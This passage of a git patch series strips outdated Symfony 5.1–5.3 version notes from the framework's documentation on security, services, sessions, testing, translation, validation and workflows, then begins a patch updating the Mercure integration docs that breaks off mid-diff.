-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
-
 .. _retrieving-the-user-object:
 
 5a) Fetching the User Object
@@ -1303,13 +1280,6 @@ Symfony will un-authenticate the current user and redirect them.
 Customizing Logout
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
-    version, you had to use a
-    :ref:`logout success handler <reference-security-logout-success-handler>`
-    to customize the logout.
-
 In some cases you need to execute extra logic upon logout (e.g. invalidate
 some tokens) or want to customize what happens after a logout. During
 logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
@@ -1326,7 +1296,6 @@ event class:
     Returns a response, if it is already set by a custom listener. Use
     ``setResponse()`` to configure a custom logout response.
 
-
 .. tip::
 
     Every Security firewall has its own event dispatcher
diff --git a/security/access_control.rst b/security/access_control.rst
index ec86b8a6836..3de2e4ec53b 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -129,10 +129,6 @@ Take the following ``access_control`` entries as an example:
             ;
         };
 
-.. versionadded:: 5.2
-
-    Support for comma-separated IP addresses was introduced in Symfony 5.2.
-
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and
diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index 03d658402c4..b347f7d57f4 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -139,10 +139,6 @@ unauthenticated access (e.g. the login page):
 Granting Anonymous Users Access in a Custom Voter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``NullToken`` class was introduced in Symfony 5.2.
-
 If you're using a :doc:`custom voter </security/voters>`, you can allow
 anonymous users access by checking for a special
 :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\NullToken`. This token is used
@@ -424,11 +420,6 @@ into a security
 Security Passports
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``UserBadge`` was introduced in Symfony 5.2. Prior to 5.2, the user
-    instance was provided directly to the passport.
-
 A passport is an object that contains the user that will be authenticated as
 well as other pieces of information, like whether a password should be checked
 or if "remember me" functionality should be enabled.
@@ -550,10 +541,10 @@ the following badges are supported:
     initiated). This skips the
     :doc:`pre-authentication user checker </security/user_checkers>`.
 
-.. versionadded:: 5.2
+.. note::
 
-    Since 5.2, the ``PasswordUpgradeBadge`` is automatically added to
-    the passport if the passport has ``PasswordCredentials``.
+    The ``PasswordUpgradeBadge`` is automatically added to the passport if the
+    passport has ``PasswordCredentials``.
 
 For instance, if you want to add CSRF to your custom authenticator, you
 would initialize the passport like this::
@@ -618,7 +609,3 @@ would initialize the passport like this::
                 return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
             }
         }
-
-.. versionadded:: 5.2
-
-    Passport attributes were introduced in Symfony 5.2.
diff --git a/security/csrf.rst b/security/csrf.rst
index 8416cd4cafc..bc7885b7a4d 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -176,10 +176,6 @@ targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.
 
-.. versionadded:: 5.3
-
-    The randomization of tokens was introduced in Symfony 5.3
-
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
 .. _`CRIME`: https://en.wikipedia.org/wiki/CRIME
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 94fdda02708..86175effb9d 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -216,9 +216,6 @@ the ``PasswordDigest`` header value matches with the user's password::
 
         public function authenticate(TokenInterface $token): WsseUserToken
         {
-            // The loadUserByIdentifier() and getUserIdentifier() methods were
-            // introduced in Symfony 5.3. In previous versions they were called
-            // loadUserByUsername() and getUsername() respectively
             $user = $this->userProvider->loadUserByIdentifier($token->getUserIdentifier());
 
             if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
@@ -439,7 +436,6 @@ to service ids that may not exist yet: ``App\Security\Authentication\Provider\Ws
 
             $services->set(WsseListener::class)
                 ->args([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
                     service('security.token_storage'),
                     service('security.authentication.manager'),
                 ])
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index f31474f238c..24f9b475a51 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -101,11 +101,6 @@ instance, to show a link to exit impersonation in a template:
         <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a>
     {% endif %}
 
-.. versionadded:: 5.1
-
-    The ``IS_IMPERSONATOR`` was introduced in Symfony 5.1. Use
-    ``ROLE_PREVIOUS_ADMIN`` prior to Symfony 5.1.
-
 Finding the Original User
 -------------------------
 
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 2806f6c9a97..edd01c7fabd 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -84,8 +84,6 @@ The next step is to configure a route in your app matching this path:
                 $user = $this->getUser();
 
                 return $this->json([
-                    // The getUserIdentifier() method was introduced in Symfony 5.3.
-                    // In previous versions it was called getUsername()
                     'username' => $user->getUserIdentifier(),
                     'roles' => $user->getRoles(),
                 ]);
diff --git a/security/login_link.rst b/security/login_link.rst
index 1e1641304a3..c89d005fb16 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -743,10 +743,6 @@ Then, configure this service ID as the ``success_handler``:
 Customizing the Login Link
 --------------------------
 
-.. versionadded:: 5.3
-
-    The possibility to customize the login link was introduced in Symfony 5.3.
-
 The ``createLoginLink()`` method accepts a second optional argument to pass the
 ``Request`` object used when generating the login link. This allows to customize
 features such as the locale used to generate the link::
diff --git a/security/remember_me.rst b/security/remember_me.rst
index b14b012202f..11c0e6d88d9 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -137,10 +137,6 @@ The ``remember_me`` firewall defines the following configuration options:
     Defines the ID of the service used to handle the Remember Me feature. It's
     useful if you need to overwrite the current behavior entirely.
 
-    .. versionadded:: 5.1
-
-        The ``service`` option was introduced in Symfony 5.1.
-
 Forcing the User to Opt-Out of the Remember Me Feature
 ------------------------------------------------------
 
@@ -207,10 +203,6 @@ users to change their password. You can do this by leveraging a few special
     There is also a ``IS_REMEMBERED`` attribute that grants *only* when the
     user is authenticated via the remember me mechanism.
 
-.. versionadded:: 5.1
-
-    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
-
 .. _remember-me-token-in-database:
 
 Storing Remember Me Tokens in the Database
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index a404a668932..32349020a50 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -56,10 +56,6 @@ displayed to the user::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``CustomUserMessageAccountStatusException`` class was introduced in Symfony 5.1.
-
 Enabling the Custom User Checker
 --------------------------------
 
diff --git a/security/user_provider.rst b/security/user_provider.rst
index f064507045d..31db8203284 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -135,8 +135,6 @@ interface only requires one method: ``loadUserByIdentifier($identifier)``::
     {
         // ...
 
-        // The loadUserByIdentifier() method was introduced in Symfony 5.3.
-        // In previous versions it was called loadUserByUsername()
         public function loadUserByIdentifier(string $usernameOrEmail): ?User
         {
             $entityManager = $this->getEntityManager();
@@ -231,8 +229,6 @@ users will hash their passwords:
             # ...
             password_hashers:
                 # this internal class is used by Symfony to represent in-memory users
-                # (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                # In previous versions it was called 'User')
                 Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
 
     .. code-block:: xml
@@ -251,8 +247,6 @@ users will hash their passwords:
                 <!-- ... -->
 
                 <!-- this internal class is used by Symfony to represent in-memory users -->
-                <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                     In previous versions it was called 'User') -->
                 <security:password-hasher class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
@@ -264,8 +258,6 @@ users will hash their passwords:
         // config/packages/security.php
 
         // this internal class is used by Symfony to represent in-memory users
-        // (the 'InMemoryUser' class was introduced in Symfony 5.3.
-        // In previous versions it was called 'User')
         use Symfony\Component\Security\Core\User\InMemoryUser;
         use Symfony\Config\SecurityConfig;
 
@@ -373,9 +365,6 @@ command will generate a nice skeleton to get you started::
     class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         /**
-         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
-         * In previous versions it was called loadUserByUsername()
-         *
          * Symfony calls this method if you use features like switch_user
          * or remember_me. If you're not using these features, you do not
          * need to implement this method.
diff --git a/security/voters.rst b/security/voters.rst
index d860886f175..71383a25ebc 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -289,10 +289,6 @@ There are three strategies available:
     This grants or denies access by the first voter that does not abstain,
     based on their service priority;
 
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
-
 Regardless the chosen strategy, if all voters abstained from voting, the
 decision is based on the ``allow_if_all_abstain`` config option (which
 defaults to ``false``).
diff --git a/serializer.rst b/serializer.rst
index 8cae58c5838..0334489c62b 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -50,10 +50,6 @@ Or you can use the ``serialize`` Twig filter in a template:
 See the :doc:`twig reference </reference/twig_reference>` for
 more information.
 
-.. versionadded:: 5.3
-
-    A ``serialize`` filter was introduced in Symfony 5.3 that uses the Serializer component.
-
 Adding Normalizers and Encoders
 -------------------------------
 
diff --git a/service_container.rst b/service_container.rst
index b854b85ec2e..9eadcfc4ba6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -533,7 +533,6 @@ parameter and in PHP config use the ``service()`` function:
             $services = $configurator->services();
 
             $services->set(MessageGenerator::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([service('logger')])
             ;
         };
@@ -881,11 +880,6 @@ setting:
             ;
         };
 
-.. deprecated:: 5.1
-
-    As of Symfony 5.1, it is no longer possible to autowire the service
-    container by type-hinting ``Psr\Container\ContainerInterface``.
-
 .. _service-psr4-loader:
 
 Importing Many Services at once with resource
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f216855d292..a46058422d8 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -158,12 +158,6 @@ This means that when using the container directly, you can access the
 Deprecating Service Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``package`` and ``version`` options were introduced in Symfony 5.1.
-    Prior to 5.1, you had to use ``deprecated: true`` or
-    ``deprecated: 'Custom message'``.
-
 If you decide to deprecate the use of a service alias (because it is outdated
 or you decided not to maintain it anymore), you can deprecate its definition:
 
@@ -282,7 +276,6 @@ The following example shows how to inject an anonymous service into another serv
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
                 ->args([inline_service(AnonymousBar::class)]);
         };
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 13e224aed72..af6496909e9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -607,10 +607,6 @@ to a method, you can always explicitly :doc:`configure the method call </service
 If your PHP version doesn't support attributes (they were introduced in PHP 8),
 you can use the ``@required`` annotation instead.
 
-.. versionadded:: 5.2
-
-    The ``#[Required]`` attribute was introduced in Symfony 5.2.
-
 Despite property injection has some :ref:`drawbacks <property-injection>`,
 autowiring with ``#[Required]`` or ``@required`` can also be applied to public
 typed properties:
@@ -651,10 +647,6 @@ typed properties:
             }
         }
 
-.. versionadded:: 5.1
-
-    Public typed properties autowiring was introduced in Symfony 5.1.
-
 Autowiring Controller Action Methods
 ------------------------------------
 
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 9f7ac768976..0fb2f0d2462 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -73,7 +73,6 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
             // ...
 
             $services->set(MessageGenerator::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->call('setLogger', [service('logger')]);
         };
 
@@ -166,8 +165,3 @@ The configuration to tell the container it should do so would be like:
     PHP 8 ``static`` return type and a ``@required`` annotation to behave as
     a wither, you can add a ``@return $this`` annotation to disable the
     *returns clone* feature.
-
-    .. versionadded:: 5.1
-
-        Support for the PHP 8 ``static`` return type was introduced in
-        Symfony 5.1.
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 1ade37244c3..2cb6112f03e 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -179,7 +179,6 @@ all the classes are already loaded as services. All you need to do is specify th
             $services->load('App\\', '../src/*');
 
             // override the services to set the configurator
-            // In versions earlier to Symfony 5.1 the service() function was called ref()
             $services->set(NewsletterManager::class)
                 ->configurator(service(EmailConfigurator::class), 'configure');
 
diff --git a/service_container/factories.rst b/service_container/factories.rst
index d2fda053923..54775793a52 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -163,7 +163,6 @@ Configuration of the service container then looks like this:
             // second, use the factory service as the first argument of the 'factory'
             // method and the factory method as the second argument
             $services->set(NewsletterManager::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager']);
         };
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 1a0c5351d02..5e49c9273e4 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -78,7 +78,6 @@ service container configuration:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args(service('mailer'));
         };
 
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index e05e050ba9c..838c387cfcf 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -42,7 +42,6 @@ if the service does not exist:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([service('logger')->nullOnInvalid()]);
         };
 
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 7df74b37a43..2f2b88303ba 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -128,7 +128,6 @@ avoid duplicated service definitions:
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
                 ->args([service('doctrine.orm.entity_manager')])
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->call('setLogger', [service('logger')])
             ;
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 4c7f2ed0158..3b369373072 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -172,15 +172,9 @@ automatically changed to ``'.inner'``):
             $services->set(DecoratingMailer::class)
                 ->decorate(Mailer::class)
                 // pass the old service as an argument
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([service('.inner')]);
         };
 
-.. versionadded:: 5.1
-
-    The special ``.inner`` value was introduced in Symfony 5.1. In previous
-    versions you needed to use: ``decorating_service_id + '.inner'``.
-
 .. tip::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index db75b181446..d4ff897df51 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -372,7 +372,6 @@ other services. To do so, create a new service definition using the
             $services = $configurator->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([[
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
diff --git a/session.rst b/session.rst
index 70e62b62263..8c41e0949fc 100644
--- a/session.rst
+++ b/session.rst
@@ -164,89 +164,11 @@ controllers if you type-hint an argument with
         }
     }
 
-.. deprecated:: 5.3
-
-    The ``SessionInterface`` and ``session`` service were deprecated in
-    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
-    object of the current request.
-
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
-.. deprecated:: 5.3
-
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
-
-If your application needs are complex, you may prefer to use
-:ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session_listener`` service definition to build
-your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        session.factory:
-            autoconfigure: true
-            class: App\Session\SessionFactory
-            arguments:
-            - '@request_stack'
-            - '@session.storage.factory'
-            - ['@session_listener', 'onSessionUsage']
-            - '@session.namespacedattributebag'
-
-        session.namespacedattributebag:
-            class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
-                    <argument type="service" id="session.storage"/>
-                    <argument type="service" id="session.namespacedattributebag"/>
-                    <argument type="service" id="session.flash_bag"/>
-                </service>
-
-                <service id="session.namespacedattributebag"
-                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
-                />
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-        use Symfony\Component\HttpFoundation\Session\Session;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set('session', Session::class)
-                ->public()
-                ->args([
-                    ref('session.storage'),
-                    ref('session.namespacedattributebag'),
-                    ref('session.flash_bag'),
-                ])
-            ;
-
-            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
-        };
-
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
diff --git a/session/database.rst b/session/database.rst
index 7f1ea26a0ba..d8879295b33 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -242,11 +242,6 @@ first register a new handler service with your database credentials:
     When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
     contain the ``charset`` and ``unix_socket`` options as query string parameters.
 
-    .. versionadded:: 5.3
-
-        The support for ``charset`` and ``unix_socket`` options was introduced
-        in Symfony 5.3.
-
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
 
diff --git a/templates.rst b/templates.rst
index de12df7ba13..087f5320888 100644
--- a/templates.rst
+++ b/templates.rst
@@ -559,10 +559,6 @@ provided by Symfony:
             ;
         };
 
-.. versionadded:: 5.1
-
-    The ``context`` option was introduced in Symfony 5.1.
-
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/testing.rst b/testing.rst
index 346cc573e94..1ef69159ab4 100644
--- a/testing.rst
+++ b/testing.rst
@@ -577,10 +577,6 @@ will no longer be followed::
 Logging in Users (Authentication)
 .................................
 
-.. versionadded:: 5.1
-
-    The ``loginUser()`` method was introduced in Symfony 5.1.
-
 When you want to add application tests for protected pages, you have to
 first "login" as a user. Reproducing the actual steps - such as
 submitting a login form - make a test very slow. For this reason, Symfony
@@ -900,10 +896,6 @@ Response Assertions
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
 
-.. versionadded:: 5.3
-
-    The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
-
 Request Assertions
 ..................
 
@@ -948,20 +940,9 @@ Crawler Assertions
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 
-.. versionadded:: 5.2
-
-    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
-    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
-    in Symfony 5.2.
-
 Mailer Assertions
 .................
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the following assertions no longer require to make
-    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
-
 ``assertEmailCount(int $count, string $transport = null, string $message = '')``
     Asserts that the expected number of emails was sent.
 ``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
diff --git a/translation.rst b/translation.rst
index a612c218454..efc7b485976 100644
--- a/translation.rst
+++ b/translation.rst
@@ -302,10 +302,6 @@ using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 Translatable Objects
 --------------------
 
-.. versionadded:: 5.2
-
-    Translatable objects were introduced in Symfony 5.2.
-
 Sometimes translating contents in templates is cumbersome because you need the
 original message, the translation parameters and the translation domain for
 each content. Making the translation in the controller or services simplifies
@@ -475,11 +471,6 @@ The ``translation:update`` command looks for missing translations in:
   :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
   the ``trans()`` method.
 
-.. versionadded:: 5.3
-
-    Support for extracting Translatable objects has been introduced in
-    Symfony 5.3.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
@@ -596,11 +587,6 @@ if you're generating translations with specialized programs or teams.
 Translation Providers
 ---------------------
 
-.. versionadded:: 5.3
-
-    Translation providers were introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 When using external translators to translate your application, you must send
 them the new contents to translate frequently and merge the results back in the
 application.
diff --git a/translation/debug.rst b/translation/debug.rst
index e0668c4ae3e..97fb896062e 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -21,9 +21,8 @@ command helps you to find these missing or unused translation messages templates
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
+    the ``trans()`` method on a translator. Dynamic translations using variables
+    or expressions in templates are not detected either:
 
     .. code-block:: twig
 
@@ -208,7 +207,3 @@ These constants are defined as "bit masks", so you can combine them as follows::
     if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
         // ... there are missing and/or unused translations
     }
-
-.. versionadded:: 5.1
-
-    The exit codes were introduced in Symfony 5.1
diff --git a/translation/lint.rst b/translation/lint.rst
index 14693f32826..1efeb9ef923 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -40,10 +40,6 @@ adapted to the format required by GitHub, but you can force that format too:
 
     $ php bin/console lint:yaml translations/ --format=github
 
-.. versionadded:: 5.3
-
-    The ``github`` output format was introduced in Symfony 5.3.
-
 .. tip::
 
     The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
@@ -53,8 +49,4 @@ adapted to the format required by GitHub, but you can force that format too:
 
         $ php vendor/bin/yaml-lint translations/
 
-    .. versionadded:: 5.1
-
-        The ``yaml-lint`` binary was introduced in Symfony 5.1.
-
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/validation.rst b/validation.rst
index f2bc793f016..03c1fb77b9d 100644
--- a/validation.rst
+++ b/validation.rst
@@ -817,10 +817,6 @@ provide more custom validation.
 Debugging the Constraints
 -------------------------
 
-.. versionadded:: 5.2
-
-    The ``debug:validator`` command was introduced in Symfony 5.2.
-
 Use the ``debug:validator`` command to list the validation constraints of a
 given class:
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5f85cb9092e..39b233addef 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -48,12 +48,6 @@ Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes. If the constraint has
 configuration options, define them as public properties on the constraint class.
 
-.. versionadded:: 5.2
-
-    The ability to use PHP attributes to configure constraints was introduced in
-    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
-    annotate constraints.
-
 Creating the Validator itself
 -----------------------------
 
@@ -230,10 +224,6 @@ Create a Reusable Set of Constraints
 In case you need to apply some common set of constraints in different places
 consistently across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
 
-.. versionadded:: 5.1
-
-    The ``Compound`` constraint was introduced in Symfony 5.1.
-
 Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 699711b661d..ac8df72cc6d 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -426,7 +426,3 @@ How to Sequentially Apply Constraints on a Single Property
 Sometimes, you may want to apply constraints sequentially on a single
 property. The :doc:`Sequentially constraint </reference/constraints/Sequentially>`
 can solve this for you in a more straightforward way than using a ``GroupSequence``.
-
-.. versionadded:: 5.1
-
-    The ``Sequentially`` constraint was introduced in Symfony 5.1.
diff --git a/workflow.rst b/workflow.rst
index 1d70f38b0d6..ea6c9a73f7e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -382,20 +382,14 @@ order:
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
-    .. versionadded:: 5.1
+    The context is accessible in all events::
 
-        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+        // $context must be an array
+        $context = ['context_key' => 'context_value'];
+        $workflow->apply($subject, $transitionName, $context);
 
-    .. versionadded:: 5.2
-
-        In Symfony 5.2, the context is accessible in all events::
-
-            // $context must be an array
-            $context = ['context_key' => 'context_value'];
-            $workflow->apply($subject, $transitionName, $context);
-
-            // in an event listener
-            $context = $event->getContext(); // returns ['context']
+        // in an event listener
+        $context = $event->getContext(); // returns ['context']
 
 .. note::
 
@@ -492,17 +486,9 @@ missing a title::
         }
     }
 
-.. versionadded:: 5.1
-
-    The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
-
 Choosing which Events to Dispatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    Ability to choose which events to dispatch was introduced in Symfony 5.2.
-
 If you prefer to control which events are fired when performing each transition,
 use the ``events_to_dispatch`` configuration option. This option does not apply
 to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
@@ -593,13 +579,7 @@ events specified in the workflow configuration. In the above example the
 ``workflow.leave`` event will not be fired, even if it has been specified as an
 event to be dispatched for all transitions in the workflow configuration.
 
-.. versionadded:: 5.1
-
-    The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The constants for other events (as seen below) were introduced in Symfony 5.2.
+Thees are all the available constants:
 
     * ``Workflow::DISABLE_LEAVE_EVENT``
     * ``Workflow::DISABLE_TRANSITION_EVENT``
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 98e5911561f..82aaf70ffce 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -12,10 +12,6 @@ applications needed to generate the images:
 * `Mermaid CLI`_, provides the ``mmdc`` command;
 * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java).
 
-.. versionadded:: 5.3
-
-    The ``mermaid`` dump format was introduced in Symfony 5.3.
-
 If you are defining the workflow inside a Symfony application, run this command
 to dump it as an image:
 

From 14f3623c0246150724b9ca1c0e72f50335c9d7ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Wed, 23 Jun 2021 13:59:42 +0200
Subject: [PATCH 0993/5766] [Mercure] integration with Symfony cli and various
 improvements

---
 mercure.rst | 168 ++++++++++++++++++++++++++++------------------------
 1 file changed, 90 insertions(+), 78 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 85c814b5741..a350ccba706 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -22,8 +22,9 @@ server to clients. It is a modern and efficient alternative to timer-based
 polling and to WebSocket.
 
 Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported
-out of the box in most modern browsers (Edge and IE require `a polyfill`_) and
-has `high-level implementations`_ in many programming languages.
+out of the box in most modern browsers (old versions of Edge and IE require
+`a polyfill`_) and has `high-level implementations`_ in many programming
+languages.
 
 Mercure comes with an authorization mechanism,
 automatic re-connection in case of network issues
@@ -65,34 +66,19 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-An official and open source (AGPL) implementation of a Hub can be downloaded
-as a static binary from `Mercure.rocks`_.
+If you use the `Symfony Local Web Server </setup/symfony_server>`_ or `Symfony Docker`_,
+a Mercure Hub is automatically available.
 
-If you use `Symfony Docker`_,
-a Mercure Hub is already included and you can skip straight to the next section.
-
-On Linux and Mac, run the following command to start it:
-
-.. rst-class:: command-linux
-
